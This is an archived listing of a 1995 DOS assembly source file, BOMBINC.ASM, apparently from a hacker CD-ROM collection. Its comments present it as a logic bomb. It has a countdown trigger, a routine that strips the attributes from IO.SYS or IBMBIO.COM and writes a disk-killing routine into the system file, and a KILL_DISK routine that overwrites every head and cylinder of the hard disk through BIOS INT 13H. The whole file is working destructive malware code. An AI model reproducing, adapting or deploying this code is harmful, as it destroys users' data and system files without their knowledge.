home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / DESTRUCT / BOMBINC.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-08-18  |  2.3 KB  |  76 lines

  1. ;The following Trigger Routine counts down from 6 and detonates
  2. TRIGGER:
  3.         cmp     BYTE PTR [COUNTER],0
  4.         jz      TRET
  5.         dec     [COUNTER]
  6.         mov     al,[COUNTER]
  7.         mov     al,1
  8.         or      al,al
  9. TRET:   ret
  10.  
  11. COUNTER         DB      6
  12.  
  13.  
  14. ;The following Logic Bomb writes the routine KILL_DISK into the IO.SYS file.
  15. ;To do this successfully, it must first make the file a normal read/write
  16. ;file, then it should write to it, and change it back to a system/read only
  17. ;file.
  18. BOMB:
  19.         mov     dx,OFFSET FILE_ID1              ;set attributes to normal
  20.         mov     ax,4301H
  21.         mov     cx,0
  22.         int     21H
  23.         jnc     BOMB1                           ;success, don't try IBMBIO.COM
  24.         mov     dx,OFFSET FILE_ID2
  25.         mov     ax,4301H
  26.         mov     cx,0
  27.         int     21H
  28.         jc      BOMBE                           ;exit on error
  29. BOMB1:  push    dx
  30.         mov     ax,3D02H                        ;open file read/write
  31.         int     21H
  32.         jc      BOMB2
  33.         mov     bx,ax
  34.         mov     ah,40H                          ;write KILL_DISK routine
  35.         mov     dx,OFFSET KILL_DISK
  36.         mov     cx,OFFSET KILL_END
  37.         sub     cx,dx
  38.         int     21H
  39.         mov     ah,3EH                          ;and close file
  40.         int     21H
  41. BOMB2:  pop     dx
  42.         mov     ax,4301H                        ;set attributes to ro/hid/sys
  43.         mov     cx,7
  44.         int     21H
  45. BOMBE:  ret
  46.  
  47. FILE_ID1        DB      'C:\IO.SYS',0
  48. FILE_ID2        DB      'C:\IBMBIO.COM',0
  49.  
  50. ;This routine trashes the hard disk.
  51. KILL_DISK:
  52.         mov     ah,8
  53.         mov     dl,80H
  54.         int     13H                             ;get hard disk params
  55.         mov     al,cl
  56.         and     al,3FH
  57.         mov     cx,1
  58.         inc     dh
  59.         mov     dl,80H
  60.         mov     di,dx
  61.         xor     dh,dh
  62.         mov     ah,3                            ;write trash to disk
  63. DISKLP: push    ax
  64.         int     13H
  65.         pop     ax
  66.         inc     dh
  67.         cmp     dx,di                           ;do all heads
  68.         jne     DISKLP
  69.         xor     dh,dh
  70.         inc     ch                              ;next cylinder
  71.         jne     DISKLP
  72.         add     cl,20H
  73.         jmp     DISKLP
  74. KILL_END:
  75.  
  76.